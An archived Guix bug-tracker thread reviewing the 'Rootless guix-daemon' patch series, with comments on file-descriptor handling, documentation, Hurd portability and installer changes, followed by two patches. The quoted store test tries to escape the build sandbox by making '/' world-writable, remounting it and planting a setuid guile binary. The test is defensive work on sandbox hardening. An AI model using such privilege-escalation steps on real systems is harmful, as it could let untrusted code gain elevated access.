	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1ttbBh-0002I3-FY
	for submit <at> debbugs.gnu.org; Sat, 15 Mar 2025 19:45:08 -0400
Received: from mailout.russelstein.xyz ([2605:6400:20:11e::1]:39628)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <reepca@HIDDEN>)
 id 1ttbBa-0002Fz-Lx
 for 75810 <at> debbugs.gnu.org; Sat, 15 Mar 2025 19:45:02 -0400
DKIM-Signature: v=1; a=ed25519-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=ed25519; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=KJhm3TKDhXctKKrXEJE6/VRDG6EGRqPeZsRkkiA/5SI=; b=kir/AI1GbD51IN725gBDE5ZLZ4
 qK6/XZsj1PKpleL1h3FjXbCn46yN1vqBGsvzSyYr6FY9hmZRzriZNYtTLTBA==;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=rsa; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=KJhm3TKDhXctKKrXEJE6/VRDG6EGRqPeZsRkkiA/5SI=; b=jSdxEiPJ/Pm17n6wZLFTTEWk5w
 ZqzXflE2fXtozXmP7ziEtEyZfbFOY36HancXSSu3F/HyhGNYe+Au0W7gyiEgXmp1VLihBlKzPQLzO
 EQ7mHOLj7GAYzpBxoxTfHu97aAo62uZ+v8V8IhTUuxBJfmgUP8iVuGFMGXukjxHIIWzJvBWNs39A2
 C1NPbdfXZzbK4jAyrSXw6jxvj7c33oIOSB05fjNA7gDGLmaGDK13W0HFj47PyzBnW/OpK5ProeAsO
 0HNuxdclpoEUnwv6NSzJxVh32K5Pg6G6JDoGK45nUdyvR5NMsKfssiquYU16HukQ+Btg71I1rHml9
 ZQQPzkKIMM/CJJ+crsl+cI8YVgvkBXVVwDl7mgvYN21wr2Kx7ISLdih4xNuM0qVTOrVS5erTaWZ2F
 YvNX5rjdiVgTmFXXZBES4yrU2INj9E061QEISZlaEKOdlHHP2Cx8d72cGajjtb9dQ+Df6xqsSAmwJ
 OguH/4jrv16MkqCFAe9mYK2GgrAlAMJ/jOwc6Y2pnSzQ7pWwg7y7NikjxHxNhzi5yZNDBF7cgXpbJ
 8SJXMmEmM66FVti3Et/ZKQaGMzI4oGDaVyZ2DysZ5v7EDPGXex8k8PE8brLi87X6fdHwqTRNHFrDe
 +22H7ckkqLxB1Y2Yywc+pgHG83UxnfA+squ3YnyZY=;
Received: by russelstein.xyz with esmtpsa
 (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256)
 (Exim 4.98) (envelope-from <reepca@HIDDEN>)
 id 1ttbBV-0000000047y-17fP; Sat, 15 Mar 2025 18:44:55 -0500
From: Reepca Russelstein <reepca@HIDDEN>
To: Ludovic =?utf-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Subject: Re: [PATCH v5 00/14] Rootless guix-daemon
In-Reply-To: <cover.1741973869.git.ludo@HIDDEN> ("Ludovic =?utf-8?Q?Court?=
 =?utf-8?Q?=C3=A8s=22's?= message
 of "Fri, 14 Mar 2025 18:47:57 +0100")
References: <cover.1741973869.git.ludo@HIDDEN>
Date: Sat, 15 Mar 2025 18:44:17 -0500
Message-ID: <87h63t6er2.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="=-=-=";
 micalg=pgp-sha256; protocol="application/pgp-signature"
X-Spam-Score: 0.5
X-Spam-Bar: /
X-Spam-Score-Int: 5
X-Spam-Report: Spam detection software, running on the system "Sanctum",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: > • In ‘guix-daemon.service.in’,
    set > ‘GUIX_DATABASE_DIRECTORY=/var/guix’ for forward compatibility >
    (I’m thinking of eventually changing the default database > location when
    not running [...] 
 
 Content analysis details:   (0.5 points, 5.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 NO_RELAYS              Informational: message was not relayed via SMTP
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Spam-Score: 1.4 (+)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: > • In ‘guix-daemon.service.in’,
    set > ‘GUIX_DATABASE_DIRECTORY=/var/guix’ for forward compatibility >
    (I’m thinking of eventually changing the default database > location when
    not running [...] 
 
 Content analysis details:   (1.4 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.9 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 1.4 (+)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: > • In ‘guix-daemon.service.in’,
    set > ‘GUIX_DATABASE_DIRECTORY=/var/guix’ for forward compatibility >
    (I’m thinking of eventually changing the default database > location when
    not running [...] 
 
 Content analysis details:   (1.4 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.9 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
  1.0 BULK_RE_SUSP_NTLD      Precedence bulk and RE: from a suspicious TLD
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
 -1.0 MAILING_LIST_MULTI     Multiple indicators imply a widely-seen list
                             manager

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Ludovic Court=C3=A8s <ludo@HIDDEN> writes:

>   =E2=80=A2 In =E2=80=98guix-daemon.service.in=E2=80=99, set
>     =E2=80=98GUIX_DATABASE_DIRECTORY=3D/var/guix=E2=80=99 for forward com=
patibility
>     (I=E2=80=99m thinking of eventually changing the default database
>     location when not running as root).

Did you intend GUIX_STATE_DIRECTORY here, or GUIX_DATABASE_DIRECTORY in
the patch?  GUIX_STATE_DIRECTORY is what's in the patch.

> @@ -1087,12 +1091,19 @@ string runProgram(Path program, bool searchPath, =
const Strings & args)
>=20=20
>  void closeMostFDs(const set<int> & exceptions)
>  {
> -    int maxFD =3D 0;
> -    maxFD =3D sysconf(_SC_OPEN_MAX);
> -    for (int fd =3D 0; fd < maxFD; ++fd)
> -        if (fd !=3D STDIN_FILENO && fd !=3D STDOUT_FILENO && fd !=3D STD=
ERR_FILENO
> -            && exceptions.find(fd) =3D=3D exceptions.end())
> -            close(fd); /* ignore result */
> +#ifdef HAVE_CLOSE_RANGE
> +    if (exceptions.empty())
> +	 close_range(3, ~0U, 0);
> +    else
> +#endif
> +    {
> +	 int maxFD =3D 0;
> +	 maxFD =3D sysconf(_SC_OPEN_MAX);
> +	 for (int fd =3D 0; fd < maxFD; ++fd)
> +	      if (fd !=3D STDIN_FILENO && fd !=3D STDOUT_FILENO && fd !=3D STDE=
RR_FILENO
> +		  && exceptions.find(fd) =3D=3D exceptions.end())
> +		   close(fd); /* ignore result */
> +    }
>  }

(in patch 01/14, in nix/libutil/util.cc)

Minor note: this could be implemented solely in terms of close_range, by
sorting the exceptions and iterating over the gaps between them.  It's
fine as it is though.

> +The second and preferred option is to run @command{guix-daemon}
> +@emph{as an unprivileged user}.  It has the advantage of reducing the
> +harm that can be done should a build process manage to exploit a
> +vulnerability in the daemon.  This option requires the user of Linux's
> +unprivileged user namespace mechanism; today it is available and enabled
> +by most GNU/Linux distributions but can still be disabled.  The
> +installation script automatically determines whether this option is
> +available on your system (@pxref{Binary Installation}).

(in patch 06/14, in doc/guix.texi)

In the third sentence: s/requires the user/requires the use/

> +When using this option, you only need to create one user account, and
> +@command{guix-daemon} will run with the authority of that account:
> +
> +@example
> +# groupadd --system guix-daemon
> +# useradd -g guix-daemon -G guix-daemon              \
> +          -d /var/empty -s $(which nologin)          \
> +          -c "Guix daemon privilege separation user" \
> +          --system guix-daemon
> +@end example
> +
> +In this configuration, @file{/gnu/store} is owned by the
> +@code{guix-daemon} user.

It may be somewhat confusing to the reader looking at this page in
isolation whether they still need to create this account after running
the installation script, since it was mentioned immediately before this.

> @@ -1567,10 +1612,17 @@ Invoking guix-daemon
>  @item --disable-chroot
>  Disable chroot builds.
>=20
> -Using this option is not recommended since, again, it would allow build
> -processes to gain access to undeclared dependencies.  It is necessary,
> -though, when @command{guix-daemon} is running under an unprivileged user
> -account.
> +@quotation Warning
> +Using this option is not recommended since it allows build processes to
> +gain access to undeclared dependencies, to interfere with one another,
> +and more generally to do anything that can be done with the authority of
> +the daemon---which includes at least the ability to tamper with any file
> +in the store!
> +
> +You may find it necessary, though, when support for Linux unprivileged
> +user namespaces is missing (@pxref{Build Environment Setup}).  Use at
> +your own risk!
> +@end quotation

Note that the "do anything that can be done with the authority of the
daemon" part is only true in the case where the builder and the daemon
run under the same user.  For example, on Hurd, we use --disable-chroot
but still use the separate builder users.  More generally,
=2D-disable-chroot allows any user that can start builds to gain the
privileges of the build user their build runs as.  While this allows for
the output of any build run as that user to be controlled, to my
knowledge it can't change the contents of existing outputs (unless they
can be gc'ed and rebuilt, of course).

Perhaps this would be a good place to recommend setting the permissions
of LOCALSTATEDIR/guix/daemon-socket to allow only trusted users to
access it?


> diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
> index c8b778362a..76f75e00df 100644
> --- a/nix/libstore/build.cc
> +++ b/nix/libstore/build.cc
> @@ -744,6 +744,10 @@ private:
>=20=20
>      friend int childEntry(void *);
>=20=20
> +    /* Pipe to notify readiness to the child process when using unprivil=
eged
> +       user namespaces.  */
> +    Pipe readiness;
> +
>      /* Check that the derivation outputs all exist and register them
>         as valid. */
>      void registerOutputs();

(in nix/libstore/build.cc)

This is inside of DerivationGoal.  We found out while hunting that
deadlock bug that it doesn't always get disposed of in a timely fashion.
So we probably shouldn't rely on the AutoCloseFD type of
readiness.readSide and readiness.writeSide to close them in a timely
fashion, opting instead to explicitly close the end we use immediately
after we're done with it.  It would also probably be wise to follow the
usual practice of the reader closing the write end before reading, and
the writer closing the read end before writing, lest any
sudden-process-death cause indefinite hangs.

On a slightly-related note, while investigating what we currently do for
the other file-descriptor-bearing objects in DerivationGoal, I noticed
that we appear to never explicitly close builderOut.readSide in the
child (we do implicitly close it eventually with closeMostFDs).
Probably not a problem in practice, since the parent never writes to the
pipe, and if the parent process gets suddenly wiped out, the possibility
of the child blocking indefinitely is probably the least of our worries,
but maybe it would be good to close it in commonChildInit.

> @@ -102,10 +102,22 @@ then
>      rm -rf "$GUIX_STATE_DIRECTORY/daemon-socket"
>      mkdir -m 0700 "$GUIX_STATE_DIRECTORY/daemon-socket"
>=20=20
> +    # If unprivileged user namespaces are not supported, pass
> +    # '--disable-chroot'.
> +    if [ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \
> +       || [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ];=
 then
> +	extra_options=3D""
> +    else
> +	extra_options=3D"--disable-chroot"
> +	echo "unprivileged user namespaces not supported; \
> +running 'guix-daemon $extra_options'" >&2
> +    fi
> +
>      # Launch the daemon without chroot support because is may be
>      # unavailable, for instance if we're not running as root.
>      "@abs_top_builddir@/pre-inst-env"				\
> -	"@abs_top_builddir@/guix-daemon" --disable-chroot	\
> +	"@abs_top_builddir@/guix-daemon"			\
> +        $extra_options						\
>  	--substitute-urls=3D"$GUIX_BINARY_SUBSTITUTE_URL" &

(in patch 11/14, in build-aux/test-env.in)

I think this test for /proc/sys/kernel/unprivileged_userns_clone will
only work on linux, no?  On Hurd it will see that the file doesn't exist
and assume that means it shouldn't pass --disable-chroot.

Maybe also require that something like /proc/self/ns/user exists?  I see
in (gnu build linux-container) this is what we do for
'user-namespace-supported?'.  Perhaps
'unprivileged-user-namespace-supported?' should also be updated to only
return true if user namespaces are supported at all?  Otherwise many of
the test skips in this patch are going to do the opposite of what they
should on Hurd.

Also, perhaps the "Launch the daemon without chroot support because is
..."  comment should be updated (also s/is/it/ there) or removed.

> +(unless (unprivileged-user-namespace-supported?)
> +  (test-skip 1))
> +(test-assert "build root cannot be made world-readable"
> +  (let ((drv
> +         (run-with-store %store
> +           (gexp->derivation
> +            "attempt-to-make-root-world-readable"
> +            (with-imported-modules (source-module-closure
> +                                    '((guix build syscalls)))
> +              #~(begin
> +                  (use-modules (guix build syscalls))
> +
> +                  (let ((guile (string-append (assoc-ref %guile-build-in=
fo
> +                                                         'bindir)
> +                                              "/guile")))
> +                    (catch 'system-error
> +                      (lambda ()
> +                        (chmod "/" #o777))
> +                      (lambda args
> +                        (format #t "failed to make root writable: ~a~%"
> +                                (strerror (system-error-errno args)))
> +                        (format #t "attempting read-write remount~%")
> +                        (mount "none" "/" "/" (logior MS_BIND MS_REMOUNT=
))
> +                        (chmod "/" #o777)))
> +                    (copy-file guile "/guile")
> +                    (chmod "/guile" #o6755)
> +                    ;; At this point, there's a world-readable setuid 'g=
uile'
> +                    ;; binary in the store that remains visible until th=
is
> +                    ;; build completes.
> +                    (list #$output))))))))
> +    (guard (c ((store-protocol-error? c) #t))
> +      (build-derivations %store (list drv))
> +      #f)))

(in tests/store.scm)

It may be good to forego actually creating the setuid guile here, since
it's not part of what's actually being tested, just a looming threat to
motivate what's being tested.  In the event that this test fails
someday, let's be kind to our testers and leave them with only a
world-readable setuid empty file or file containing a frowny face or
something.

... actually, on closer inspection, won't this test never fail?  The
gexp doesn't actually create #$output, so the build will always fail,
and the store-protocol-error will always be signaled, no?

> +# Provide the CAP_CHOWN capability so that guix-daemon cran create and c=
hown
> +# /var/guix/profiles/per-user/$USER and also chown failed build director=
ies
> +# when using '--keep-failed'.  Note that guix-daemon explicitly drops am=
bient
> +# capabilities before executing build processes so they don't inherit th=
em.
> +AmbientCapabilities=3DCAP_CHOWN

(in patch 12/14, in etc/guix-daemon.service.in)

s/cran create/can create/

Also, I'm curious how this interacts with the changes to the installer
script.  What happens if the installer detects that the rootless daemon
isn't supported, but the guix that it's installing only has this version
of guix-daemon.service?  I haven't checked, but if the answer is "the
service is broken", perhaps we should have two variants of the service
file, and sys_enable_guix_daemon decides which one to symlink
/etc/systemd/system/guix-daemon.service to?

> +can_install_unprivileged_daemon()
> +{ # Return true if we can install guix-daemon running without privileges.
> +    [ "$INIT_SYS" =3D systemd ] && \
> +	grep -q "User=3Dguix-daemon" \
> +	     ~root/.config/guix/current/lib/systemd/system/guix-daemon.service \
> +	&& ([ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \
> +		|| [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ])
> +}

(in patch 13/14, in etc/guix-install.sh)

I vaguely recall hearing that systemd only supports linux, so it might
not be strictly necessary to check whether user namespaces are supported
at all here like it was in test-env.  If we get support for the rootless
daemon working for the other init systems a check like that may be
necessary, though.

It does indeed look like it's going to be necessary to make some changes
to make the script able to support installing a newer guix to a
systemd-using system that doesn't support unprivileged user namespaces.

Perhaps a test case should be added for this system configuration?


We're getting close indeed!

=2D reepca

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQFLBAEBCAA1FiEEdNapMPRLm4SepVYGwWaqSV9/GJwFAmfWENEXHHJlZXBjYUBy
dXNzZWxzdGVpbi54eXoACgkQwWaqSV9/GJwuJggAlSeC7Ckq71SLU5qkZAV0cvl2
zfaJpKlEvCCuaJH5bwrdldGubYIFHiK+G86h+A96jsUzM0lHMeZUR3JGLKv4NuPq
ksBfTHy5yK9xISM5CoXHad4otXy3u/QIH+7N00QzmThis68B/AxAQin0+ebzXyPi
k4CzxNL4RgDJUpwssHpN4cMMpEabLTiYIY+IDAG00Lxo1gfxPVF3N6g+ox7krDuU
Ox4UD3Kglc47Tmrq2YfpQwspBrGkgyFTLRmcGKuILnDDk1Jmc6Dw99zVvnS0Pcvd
mKR8x8pkqcgcvHQoA27zo9hnv/v/3/y8lKAHMufmm+8KHBJYrB1GHucIEC4gVA==
=Bq6N
-----END PGP SIGNATURE-----
--=-=-=--




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 14 Mar 2025 17:50:19 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Mar 14 13:50:19 2025
Received: from localhost ([127.0.0.1]:36059 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tt9Ao-0004Y4-SI
	for submit <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:50:19 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:34888)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tt9AY-0004Q6-Ib
 for 75810 <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:50:04 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tt9AT-000200-5G; Fri, 14 Mar 2025 13:49:57 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=NI59LRaDUVYi2djUVX63YOr2tAfeOTTamhbicaDSA3g=; b=Y8WTarYKAyybaPMEV3nz
 OCgbR3q9tAqDzH527+o4lbdKZ2xptXKXs1ff7t+yW78wiPOlJMNhX8CEuhtPMtegnxiENtKUtruDu
 eN/s3mVPumm8EeeFqBj2pgV17Jr84PsVaHYI3IB1988MLLhlj62IMkiXtBDD4ns56uf3GsAE6xcr7
 1a1Ygx6rGWaihdvGjkrmqZlExbF7/Jbpb1wJ7Rm90xgiQ6YARGbnFmXi+xVPwbPX7qlAhVar04cN2
 hqusxjXrN4MRYvAnL26dV/6Kb60eRAVl5s52k7COlrxDqG4R9Bx80RG5g42GaSIzNTrmoTW5YX1tP
 a1R6B6CljBzsaw==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v5 14/14] DRAFT gnu: guix: Update to 00562be.
Date: Fri, 14 Mar 2025 18:48:11 +0100
Message-ID: <e74cd10d82895f7f62a635ea52a776309c3cdf66.1741973869.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1741973869.git.ludo@HIDDEN>
References: <cover.1741973869.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

DRAFT: Temporary commit.

* gnu/packages/package-management.scm (guix): Update to 00562be.

Change-Id: I34ef62c3b12391b145916bd6f44f4da3b497754e
---
 gnu/packages/package-management.scm | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/gnu/packages/package-management.scm b/gnu/packages/package-management.scm
index b0e8ad0d2a..6a48216961 100644
--- a/gnu/packages/package-management.scm
+++ b/gnu/packages/package-management.scm
@@ -179,8 +179,8 @@ (define-public guix
   ;; Note: the 'update-guix-package.scm' script expects this definition to
   ;; start precisely like this.
   (let ((version "1.4.0")
-        (commit "5058b40aba825ab6e7b9e518dd1147d1e35fd7de")
-        (revision 34))
+        (commit "00562be83ffe965836a8a23674d379bb9b45dfc9")
+        (revision 35))
     (package
       (name "guix")
 
@@ -196,7 +196,7 @@ (define-public guix
                       (commit commit)))
                 (sha256
                  (base32
-                  "04vk4lslcd6h22yj5pxvb1pdyyxd8421gjfyvyb1bl3xn7c77246"))
+                  "1ixrs1hlipv81y90q60v6rhjjg7sz3f0rgpq201lvgvbl9pl19i9"))
                 (file-name (string-append "guix-" version "-checkout"))))
       (build-system gnu-build-system)
       (arguments
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 14 Mar 2025 17:50:18 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Mar 14 13:50:18 2025
Received: from localhost ([127.0.0.1]:36057 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tt9Ao-0004Xk-5S
	for submit <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:50:18 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:34878)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tt9AY-0004Q5-Aj
 for 75810 <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:50:03 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tt9AS-0001zv-PS; Fri, 14 Mar 2025 13:49:56 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=CUXV6UHPknqgvxLUw2u/RN9HeGPwYQJy5e03yApbb00=; b=VvhPH4NK1harIpPTY7gf
 7Gk1qDnV/yavM8Zp54vCR9cs24VG3+WVO6Y7L0zjnyU0PqEt5/Nhw+z26iGpeB9N2ne/9EMQ5QSC4
 Ma7Ygr1/K81NIOOXBXy4BWiprHLvFqxsPlnVlrWWoaHLFyKJvSz0qFa/Au9bpjQPDnIGWPQZPdfAi
 PnmA0y2Te9J4TNHEJ5m7E6JnBD2NlODE4BElnqc6PgX55xFTAibybQkGoLpum9g4NSPgeAXMSaD4j
 65dzEda7NNrJTV2/cUHsQiVv6pW4spDlzL3wX+rV2nwKjQko2DhJiW+BpEhx7t5hsvNokAOfnJ/gn
 3eDjWJjmyY/kIQ==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v5 13/14] guix-install.sh: Support the unprivileged daemon
 where possible.
Date: Fri, 14 Mar 2025 18:48:10 +0100
Message-ID: <00562be83ffe965836a8a23674d379bb9b45dfc9.1741973869.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1741973869.git.ludo@HIDDEN>
References: <cover.1741973869.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* etc/guix-install.sh (create_account): New function.
(sys_create_build_user): Use it.  When ‘guix-daemon.service’ contains
“User=guix-daemon” only create the ‘guix-daemon’ user and group.
(sys_delete_build_user): Delete the ‘guix-daemon’ user and group.
(can_install_unprivileged_daemon): New function.
(sys_create_store): When installing the unprivileged daemon, change
ownership of /gnu and /var/guix, and create /var/log/guix.
(sys_authorize_build_farms): When the ‘guix-daemon’ account exists,
change ownership of /etc/guix.

Change-Id: I73e573f1cc5c0cb3794aaaa6b576616b66e0c5e9
---
 etc/guix-install.sh | 109 ++++++++++++++++++++++++++++++++++----------
 1 file changed, 84 insertions(+), 25 deletions(-)

diff --git a/etc/guix-install.sh b/etc/guix-install.sh
index 8887204df4..eb1093c577 100755
--- a/etc/guix-install.sh
+++ b/etc/guix-install.sh
@@ -414,6 +414,11 @@ sys_create_store()
     cd "$tmp_path"
     _msg_info "Installing /var/guix and /gnu..."
     # Strip (skip) the leading ‘.’ component, which fails on read-only ‘/’.
+    #
+    # TODO: Eventually extract with ‘--owner=guix-daemon’ when installing
+    # and unprivileged guix-daemon service; for now, this script may install
+    # from both an old release that does not support unprivileged guix-daemon
+    # and a new release that does, so ‘chown -R’ later if needed.
     tar --extract --strip-components=1 --file "$pkg" -C /
 
     _msg_info "Linking the root user's profile"
@@ -441,38 +446,80 @@ sys_delete_store()
     rm -rf ~root/.config/guix
 }
 
+create_account()
+{
+    local user="$1"
+    local group="$2"
+    local supplementary_groups="$3"
+    local comment="$4"
+
+    if id "$user" &>/dev/null; then
+	_msg_info "user '$user' is already in the system, reset"
+	usermod -g "$group" -G "$supplementary_groups"	\
+		-d /var/empty -s "$(which nologin)"	\
+		-c "$comment" "$user"
+    else
+	useradd -g "$group" -G "$supplementary_groups"	\
+		-d /var/empty -s "$(which nologin)"	\
+		-c "$comment" --system "$user"
+	_msg_pass "user added <$user>"
+    fi
+}
+
+can_install_unprivileged_daemon()
+{ # Return true if we can install guix-daemon running without privileges.
+    [ "$INIT_SYS" = systemd ] && \
+	grep -q "User=guix-daemon" \
+	     ~root/.config/guix/current/lib/systemd/system/guix-daemon.service \
+	&& ([ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \
+		|| [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ])
+}
+
 sys_create_build_user()
 { # Create the group and user accounts for build users.
 
